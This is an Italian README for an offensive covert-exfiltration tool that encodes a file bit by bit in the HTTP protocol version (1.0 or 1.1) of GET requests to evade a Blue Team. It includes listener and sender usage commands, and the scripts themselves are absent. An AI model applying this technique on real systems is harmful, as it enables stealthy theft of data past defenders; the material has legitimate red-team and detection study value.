
Esfiltrare file utilizzando la versione del protocollo HTTP ("HTTP/1.0" è uno 0 e "HTTP/1.1" è un 1)
Usa la versione del protocollo HTTP per inviare un file bit per bit ("HTTP/1.0" è uno 0 e "HTTP/1.1" è un 1). Utilizza richieste GET quindi il Blue Team vedrebbe solo le richieste verso il tuo indirizzo IP. Tuttavia, ci vuole molto tempo per inviare file più grandi, ad esempio serve 1 ora per inviare 200 KB, e il numero di richieste sarebbe molto alto (8 volte il numero di byte del file).

Per eseguire il listener usa listener.py con un argomento opzionale: la porta su cui ascoltare.
python3 listener.py [PORT]
Esempio:
python3 listener.py 8080
Per inviare un file usa sender.py con due argomenti obbligatori: il percorso del file e l'url del listener; e un argomento opzionale: il nome del file creato remotamente (se non usato, viene usato il nome del file di input).
python3 sender.py -u URL -i INPUTFILE [-o OUTPUTFILE]
Esempio:
python3 sender.py -u "http://127.0.0.1:8080" -i test.txt -o updated_test.txt
Prima viene inviato il file:

Se la variabile debug è impostata a True (lo è di default) puoi vedere i valori binari nei messaggi di log del listener:

Il nuovo file viene creato con il contenuto del file di input:

Penso (non ne sono sicuro) di aver letto qualcuno su Twitter che sosteneva di averlo usato per esfiltrare dati e l'idea mi è piaciuta, se sei quella persona fammi sapere.